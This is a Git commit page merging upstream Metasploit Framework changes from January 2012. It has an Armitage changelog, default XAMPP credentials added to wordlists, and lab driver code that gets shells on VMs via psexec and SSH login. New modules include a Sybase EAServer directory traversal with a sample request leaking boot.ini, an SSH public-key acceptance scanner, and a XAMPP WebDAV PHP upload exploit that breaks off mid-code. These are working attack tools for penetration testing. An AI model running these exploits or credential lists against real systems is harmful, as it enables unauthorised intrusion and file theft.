Merge remote branch 'upstream/master'

This commit is contained in:
chao-mu 2012-01-06 20:27:53 -05:00
commit bd52f228a0
22 changed files with 805 additions and 154 deletions

Binary file not shown.

View File

@ -1,6 +1,39 @@
Armitage Changelog
==================
5 Jan 12
--------
- Armitage d-server now transmits hosts, service, and session state only
when something has changed. This makes teaming much snappier.
- Uploading an imported hosts file now shows a progress dialog.
- File browser upload function no longer blocks the user interface in team
mode. A progress dialog is shown for uploading larger files.
- Removed Ctrl+R refresh hosts shortcut from graph view (it's no longer
necessary)
- Armitage now exits if it was unable to connect to the collaboration server.
- Hosts -> NMap Scans and Hosts -> MSF Scans dialogs are now populated with
the selected values from the target area by default.
- You may now interact with a Windows command shell through Java meterpreter.
- Armitage no longer shows Webcam Shot option through Java meterpreter.
- Armitage now detects when it does not have read permissions for the database
YAML file and prompts with something helpful. Before it would just freeze
with a blank dialog. Not helpful. :)
- Armitage now only shows services that are open.
- View -> Reporting -> Export Data now has the capability of dumping the whole
database (not just the current workspace).
- Added a dialog to View -> Reporting Export Data. Now you have the ability to
dump all hosts or choose to dump one of the dynamic workspaces. This gives
you a lot of flexibility with which hosts are included.
- Cleaned up exported output of vulnerabilities in the Metasploit database:
-- duplicate entries are collapsed to one (this was the fault of my query)
-- refs column contains references separated by a comma and a space
-- added info and module columns. The module column indicates the appropriate
Metasploit module
-- Metasploit modules now populate name, info, and module in an appropriate
way.
- Values exported to TSV are cleaned up such that newlines are replaced with a
literal \n and tabs are converted to three spaces.
30 Dec 11 - last release of the year?
---------
- Hosts -> Clear Database now clears the sessions and clients tables

View File

@ -12,3 +12,6 @@ user
system
sys
none
xampp
wampp
ppmax2011

View File

@ -4,3 +4,6 @@ admin 1234
cisco cisco
cisco sanfran
private private
wampp xampp
newuser wampp
xampp-dav-unsecure ppmax2011

View File

@ -8,3 +8,6 @@ security
user
system
sys
wampp
newuser
xampp-dav-unsecure

View File

@ -97,26 +97,6 @@ class RemoteEsxDriver < VmDriver
def delete_all_snapshots
remote_system_command("vim-cmd vmsvc/snapshot.removeall #{@vmid}")
end
def run_command(command)
raise "Not Implemented"
end
def copy_from_guest(from, to)
if @os == "linux"
scp_from(from, to)
else
raise "Unimplemented"
end
end
def copy_to_guest(from, to)
if @os == "linux"
scp_to(from, to)
else
raise "Unimplemented"
end
end
def check_file_exists(file)
raise "Not Implemented"
@ -126,16 +106,137 @@ class RemoteEsxDriver < VmDriver
raise "Not Implemented"
end
def cleanup
def run_command(command, timeout=60)
setup_session
#puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
#puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
#puts "Running command via meterpreter: #{command}"
@session.shell_command(command)
end
else
raise "No session"
end
end
def copy_to_guest(local,remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def copy_from_guest(local, remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
def cleanup
end
def running?
power_status_string = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/power.getstate #{@vmid}\"`
return true if power_status_string =~ /Powered on/
false
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
end
# perform the setup only once
def setup_session
return if @session
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
if @os == "windows"
exploit_name = 'windows/smb/psexec'
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
#puts "DEBUG: using options #{options}"
# Initialize the exploit instance
exploit = @framework.exploits.create(exploit_name)
begin
# Fire it off.
@session = exploit.exploit_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session.load_stdapi
#puts "DEBUG: Generated session: #{@session}"
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
else
module_name = 'scanner/ssh/ssh_login'
# TODO - check for x86, choose the appropriate payload
payload_name = 'linux/x86/shell_bind_tcp'
options = { "RHOSTS" => @hostname,
"USERNAME" => @vm_user,
"PASSWORD" => @vm_pass,
"BLANK_PASSWORDS" => false,
"USER_AS_PASS" => false,
"VERBOSE" => false}
# Initialize the module instance
aux = @framework.auxiliary.create(module_name)
#puts "DEBUG: created module: #{aux}"
begin
# Fire it off.
aux.run_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session = @framework.sessions.first.last
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
end
end
def get_snapshots
# Command take the format:
# vmware-vim-cmd vmsvc/snapshot.revert [vmid: int] [snapshotlevel: int] [snapshotindex: int]
@ -147,7 +248,7 @@ class RemoteEsxDriver < VmDriver
# ...
snapshots = []
# Use these to keep track of the parsing...
# Use these to keep track of the parsing...
current_tree = -1
current_num = 0
count = 0

View File

@ -86,11 +86,11 @@ class VmDriver
def run_command(command)
raise "Command not Implemented"
end
def copy_from_guest(from, to)
raise "Command not Implemented"
end
def copy_to_guest(from, to)
raise "Command not Implemented"
end
@ -117,7 +117,6 @@ private
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.upload!(from,to)
#end
system_command("scp #{local} #{@vm_user}@#{@hostname}:#{remote}")
end
@ -127,17 +126,13 @@ private
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.download!(from,to)
#end
system_command("scp #{@vm_user}@#{@hostname}:#{remote} #{local}")
end
def ssh_exec(command)
::Net::SSH.start(@hostname, @vm_user, :password => @vm_pass) do |ssh|
result = ssh.exec!(command)
end
`scp #{@vm_user}@#{@hostname} from to`
end
@ -148,7 +143,6 @@ private
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
@ -159,18 +153,17 @@ private
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
# The only reason we don't filter here is because we need
# the ability to still run clean (controlled entirely by us)
# command lines.
def system_command(command)
`#{command}`
end
def remote_system_command(command)
system_command("ssh #{@user}@#{@host} \"#{command}\"")
end

View File

@ -1,26 +1,73 @@
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
# This allows us to override the default way of running commands
# Currently useful for the esx controller
# Currently useful for the remote esx driver
module Lab
module Modifier
module Meterpreter
attr_accessor :framework
attr_accessor :session
attr_accessor :session_input
attr_accessor :session_output
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
def meterpreter_run_command(command, timeout=60)
setup_session
puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
puts "Running command via meterpreter: #{command}"
@session.shell_command(command) #, timeout)
end
else
raise "No session"
end
end
def meterpreter_copy_to_guest(local,remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def meterpreter_copy_from_guest(local, remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
# This isn't part of the normal API, but too good to pass up.
def meterpreter_run_script(script, options)
if @session.type == "meterpreter"
@session.execute_script(script, options)
else
raise "Unsupported on #{@session.type}"
end
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
end
# perform the setup only once
def setup_session
return if @session
@ -28,12 +75,11 @@ module Meterpreter
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework ## TODO - this should use a single framework
## for all hosts, not one-per-host
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
if @os == "windows"
exploit_name = 'windows/smb/psexec'
@ -41,11 +87,12 @@ module Meterpreter
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = { "RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
puts "DEBUG: using options #{options}"
puts "DEBUG: using options #{options}"
# Initialize the exploit instance
exploit = @framework.exploits.create(exploit_name)
@ -79,7 +126,7 @@ module Meterpreter
"USER_AS_PASS" => false,
"VERBOSE" => false}
puts "DEBUG: using options #{options}"
puts "DEBUG: using options #{options}"
# Initialize the module instance
aux = @framework.auxiliary.create(module_name)
@ -101,64 +148,7 @@ module Meterpreter
puts e.to_s
end
end
end
def run_command(command, timeout=60)
setup_session
puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
puts "Running command via meterpreter: #{command}"
@session.shell_command(command) #, timeout)
end
else
raise "No session"
end
end
# This isn't part of the normal API, but too good to pass up.
def run_script(script, options)
if @session.type == "meterpreter"
@session.execute_script(script, options)
else
raise "Unsupported on #{@session.type}"
end
end
# For meterpreter API compatibility
#def execute_file(script,options)
# run_script(script,options)
#end
def copy_to(local,remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def copy_from(local, remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
end
end
end

View File

@ -103,12 +103,15 @@ class Vm
# modifiers are properly used with the correct VM image.
@modifiers = config['modifiers']
if @modifiers
begin
@modifiers.each { |modifier| self.class.send(:include, eval("Lab::Modifier::#{modifier}"))}
rescue Exception => e
# modifier likely didn't exist
end
if @modifiers
@modifiers.each do |modifier|
begin
self.class.send(:include, eval("Lab::Modifier::#{modifier}"))
rescue Exception => e
#puts "WARNING: Unable to load: #{modifier}"
#puts "Exception: #{e}"
end
end
end
# Consume all tags
@ -206,11 +209,9 @@ class Vm
end
def to_yaml
# TODO - push this down to the drivers.
# Standard configuration options
out = " - vmid: #{@vmid}\n"
out = " hostname: #{@hostname}\n"
out += " driver: #{@driver_type}\n"
out += " location: #{@location}\n"
out += " type: #{@type}\n"

View File

@ -158,12 +158,12 @@ module Controllers
case driver_type.intern
when :workstation
vm_list = ::Lab::Controllers::WorkstationController::running_list
vm_list.each do |item|
## Name the VM
index = @vms.count + 1
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "vm_#{index}",
'driver' => driver_type,
@ -171,8 +171,6 @@ module Controllers
'user' => user,
'host' => host } )
end
when :virtualbox
vm_list = ::Lab::Controllers::VirtualBoxController::running_list
vm_list.each do |item|
@ -189,10 +187,10 @@ module Controllers
vm_list = ::Lab::Controllers::RemoteWorkstationController::running_list(user, host)
vm_list.each do |item|
## Name the VM
index = @vms.count + 1
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "vm_#{index}",
'driver' => driver_type,
@ -202,7 +200,6 @@ module Controllers
end
when :remote_esx
vm_list = ::Lab::Controllers::RemoteEsxController::running_list(user,host)
vm_list.each do |item|
@vms << Vm.new( { 'vmid' => "#{item[:id]}",
'name' => "#{item[:name]}",
@ -210,12 +207,11 @@ module Controllers
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end
end
end
def build_from_config(driver_type=nil, user=nil, host=nil, clear=false)
if clear
@ -234,18 +230,17 @@ module Controllers
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end
end
end
def running?(vmid)
if includes_vmid?(vmid)
return self.find_by_hostname(vmid).running?
end
return false
return false
end
end
end

View File

@ -492,11 +492,15 @@ module Exploit::Remote::HttpClient
end
].compact
headers ={ 'Authorization' => auth.join(', ') }
headers.merge!(opts['headers']) if opts['headers']
# Send main request with authentication
r = c.request_cgi(opts.merge({
'uri' => path,
'method' => method,
'headers' => { 'Authorization' => auth.join(', ') }}))
'headers' => headers }))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]

View File

@ -71,7 +71,7 @@ module Net
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
:record_auth_info
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
]
# The standard means of starting a new SSH connection. When used with a
@ -196,7 +196,7 @@ module Net
# Tell MSF not to auto-close this socket anymore...
# This allows the transport socket to surive with the session.
if options[:msfmodule]
options[:msfmodule].remove_socket(transport.socket)
options[:msfmodule].remove_socket(transport.socket)
end
if block_given?
@ -206,7 +206,7 @@ module Net
return connection
end
else
transport.close
transport.close
raise AuthenticationFailed, user
end
end

View File

@ -121,10 +121,16 @@ module Net
end
key_data.each do |data|
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
if @options[:skip_private_keys]
key = KeyFactory.load_data_public_key(data)
known_identities[key] = { :from => :key_data, :data => data }
yield key
else
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
end
end
self
@ -165,6 +171,7 @@ module Net
# Identifies whether the ssh-agent will be used or not.
def use_agent?
return false if @options[:disable_agent]
@use_agent
end

View File

@ -54,6 +54,23 @@ module Net
case message.type
when USERAUTH_PK_OK
debug { "publickey will be accepted (#{identity.fingerprint})" }
# The key is accepted by the server, trigger a callback if set
if session.accepted_key_callback
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
end
if session.skip_private_keys
if session.options[:record_auth_info]
session.auth_info[:method] = "publickey"
session.auth_info[:user] = username
session.auth_info[:pubkey_data] = identity.inspect
session.auth_info[:pubkey_id] = identity.fingerprint
end
return true
end
buffer = build_request(identity, username, next_service, true)
sig_data = Net::SSH::Buffer.new
sig_data.write_string(session_id)

View File

@ -33,6 +33,12 @@ module Net; module SSH; module Authentication
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
attr_accessor :auth_info
# when a public key is accepted (even if not used), trigger a callback
attr_accessor :accepted_key_callback
# when we only want to test a key and not login
attr_accessor :skip_private_keys
# Instantiates a new Authentication::Session object over the given
# transport layer abstraction.
@ -43,8 +49,10 @@ module Net; module SSH; module Authentication
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
@options = options
@allowed_auth_methods = @auth_methods
@auth_info = {}
@allowed_auth_methods = @auth_methods
@skip_private_keys = options[:skip_private_keys] || false
@accepted_key_callback = options[:accepted_key_callback]
@auth_info = {}
end
# Attempts to authenticate the given user, in preparation for the next

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)" ]),
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth (default:GET)", "GET" ])
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ])
], self.class)
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
end
@ -277,6 +277,16 @@ class Metasploit3 < Msf::Auxiliary
'DigestAuthUser' => user,
'DigestAuthPassword' => pass
}, 25)
elsif requesttype == "PROPFIND"
res,c = send_digest_request_cgi({
'uri' => path,
'method' => requesttype,
'data' => '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>',
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass,
'headers' => { 'Depth' => '0'}
}, 25)
else
res,c = send_digest_request_cgi({
'uri' => path,
@ -294,7 +304,7 @@ class Metasploit3 < Msf::Auxiliary
return :abort if (res.code == 404)
if (res.code == 200) or (res.code == 201)
if (res.code == 200) or (res.code == 201)
if ((res.code == 201) and (requesttype == "PUT"))
print_good("Trying to delete #{path}")
del_res,c = send_digest_request_cgi({
@ -311,6 +321,11 @@ class Metasploit3 < Msf::Auxiliary
return :success
end
if (res.code == 207) and (requesttype == "PROPFIND")
@proof = res
return :success
end
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return :abort

View File

@ -0,0 +1,112 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Sybase
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
EAserver's default configuration unless the web server allows WRITE permission.
},
'References' =>
[
[ 'CVE', '2011-2474' ],
[ 'OSVDB', '72498' ],
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
],
'Author' =>
[
'Sow Ching Shiong', #Initial discovery (via iDefense)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "May 25 2011"
))
register_options(
[
Opt::RPORT(8000),
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
print_status("Attempting to download: #{datastore['FILEPATH']}")
# Create request
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
}, 25)
print_status("Server returns HTTP code: #{res.code.to_s}")
# Show data if needed
if res and res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'easerver.http',
'application/octet-stream',
ip,
res.body,
fname
)
print_status("File saved in: #{path}")
else
print_error("Nothing was downloaded")
end
end
end
=begin
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
Connection: close
Accept: */*
Host: 10.0.1.55:8000
HTTP/1.1 200 OK
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
Content-Length: 211
Connection: close
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
$ nc 10.0.1.55 8000
OPTIONS / HTTP/1.0
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Length: 0
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
=end

View File

@ -0,0 +1,275 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'SSH Public Key Acceptance Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module can determine what public keys are configured for
key-based authentication across a range of machines, users, and
sets of known keys. The SSH protocol indicates whether a particular
key is accepted prior to the client performing the actual signed
authentication request. To use this module, a text file containing
one or more SSH keys should be provided. These can be private or
public, so long as no passphrase is set on the private keys.
If you have loaded a database plugin and connected to a database
this module will record authorized public keys and hosts so you can
track your process.
Key files may be a single public (unencrypted) key, or several public
keys concatenated together as an ASCII text file. Non-key data should be
silently ignored. Private keys will only utilize the public key component
stored within the key file.
},
'Author' => ['todb', 'hdm'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(22),
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
]
)
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
@good_credentials = {}
@good_key = ''
@strip_passwords = true
end
def key_dir
datastore['KEY_DIR']
end
def rport
datastore['RPORT']
end
def ip
datastore['RHOST']
end
def read_keyfile(file)
if file == :keyfile_b64
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
elsif file.kind_of? Array
keyfile = ''
file.each do |dir_entry|
next unless ::File.readable? dir_entry
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
end
else
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
end
keys = []
this_key = []
in_key = false
keyfile.split("\n").each do |line|
if line =~ /ssh-(dss|rsa)\s+/
keys << line
next
end
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
this_key << line if in_key
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
in_key = false
keys << (this_key.join("\n") + "\n")
this_key = []
end
end
if keys.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return validate_keys(keys)
end
# Validates that the key isn't total garbage. Also throws out SSH2 keys --
# can't use 'em for Net::SSH.
def validate_keys(keys)
keepers = []
keys.each do |key|
if key =~ /ssh-(dss|rsa)/
keepers << key
next
end
# Needs a beginning
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
# Needs an end
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
# Shouldn't have binary.
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
# Add more tests to taste.
keepers << key
end
if keepers.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return keepers.uniq
end
def pull_cleartext_keys(keys)
cleartext_keys = []
keys.each do |key|
next unless key
next if key =~ /Proc-Type:.*ENCRYPTED/
this_key = key.gsub(/\x0d/,"")
next if cleartext_keys.include? this_key
cleartext_keys << this_key
end
if cleartext_keys.empty?
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
end
return cleartext_keys
end
def do_login(ip, port, user)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
@keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
keys = read_keyfile(:keyfile_b64)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
@keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
else
return :missing_keyfile
end
unless @alerted_with_msg
print_status msg
@alerted_with_msg = true
end
cleartext_keys.each_with_index do |key_data,key_idx|
key_info = ""
if key_data =~ /ssh\-(rsa|dsa)\s+([^\s]+)\s+(.*)/
key_info = "- #{$3.strip}"
end
accepted = []
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => port,
:key_data => key_data,
:disable_agent => true,
:record_auth_info => true,
:skip_private_keys => true,
:accepted_key_callback => Proc.new {|key| accepted << key }
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = Net::SSH.start(ip, user, opt_hash)
ssh_socket.close rescue nil
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end
if accepted.length == 0
if @key_files
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key)
end
end
end
def do_report(ip, port, user, key)
report_note(
:host => ip,
:type => 'ssh.authorized_key',
:port => port,
:protocol => 'tcp',
:data => {:username => user, :fingerprint => key[:fingerprint] },
:insert => :unique_data
)
end
def run_host(ip)
# Since SSH collects keys and tries them all on one authentication session, it doesn't
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
# and try all available keys for all users.
each_user_pass do |user,pass|
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
:abort
when :connection_disconnect
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
:abort
when :fail
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
when :missing_keyfile
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
when :no_valid_keys
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
end
end
end
end

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Telnet Service Encyption Key ID Buffer Overflow',
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
# Versions 5.2 and below do not support encyption
],
'DefaultTarget' => 0,
'DisclosureDate' => ''))
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow',
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
@ -51,8 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'Automatic', { } ],
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => ''))
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)

View File

@ -0,0 +1,91 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'XAMPP WebDAV PHP Upload',
'Description' => %q{
This module exploits weak WebDAV passwords on XAMPP servers.
It uses supplied credentials to upload a PHP payload and
execute it.
},
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
'Version' => '$Revision$',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
)
register_options(
[
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
], self.class)
end
def exploit
uri = build_path
print_status "Uploading Payload to #{uri}"
res,c = send_digest_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw,
'DigestAuthUser' => datastore['RUSER'],
'DigestAuthPassword' => datastore['RPASS']
}, 25)
unless (res.code == 201)
